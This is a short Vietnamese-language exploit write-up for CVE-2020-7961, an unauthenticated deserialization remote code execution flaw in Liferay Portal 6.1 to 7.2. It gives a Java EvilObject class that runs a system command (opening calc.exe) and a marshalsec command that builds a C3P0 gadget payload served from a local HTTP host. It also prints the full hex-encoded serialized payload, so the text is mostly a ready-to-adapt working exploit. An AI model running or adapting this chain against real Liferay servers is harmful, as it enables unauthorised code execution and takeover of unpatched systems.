Exploit CVE-2020-7961 Liferay Portal RCE

Exploit nhannh và phân tích

Local echo payload building :

Java echo ( liferay ) - CVE-2020-7961 | Notiondull-virgo-044 on Notion

My analysis and local echo payload

CVE-2020-7961 | Notiondull-virgo-044 on Notion

Các phiên bản ảnh hưởng : Liferay Portal 6.1、6.2、7.0、7.1、7.2

Link source : https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1

Tải source về và deloy lên là được

POC :

File EvilObject class tuỳ chọn ở đây mình cho bật calc.exe


public class EvilObject {
    public EvilObject() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"cmd.exe", "/c", "calc.exe"}; 
        Process pc = rt.exec(commands);
        pc.waitFor();
    }

    public static void main(String[] args) {
        try {
            new EvilObject(); 
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

compile ra file .class

Sau đó build payload với marshalsec-0.0.3-SNAPSHOT-all.jar theo chain chọn là C3P0

java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1:8000/ EvilObject

java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1:8000/ EvilObject

["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000a4576696c4f626a656374740016687474703a2f2f3132372e302e302e313a383030302f740003466f6f;"}]

Video Exploit :

References

Liferay Portal RCE | CVE-2020–7961| JSON Web Service Deserialization |Unauthenticated RCE (Blind)Medium

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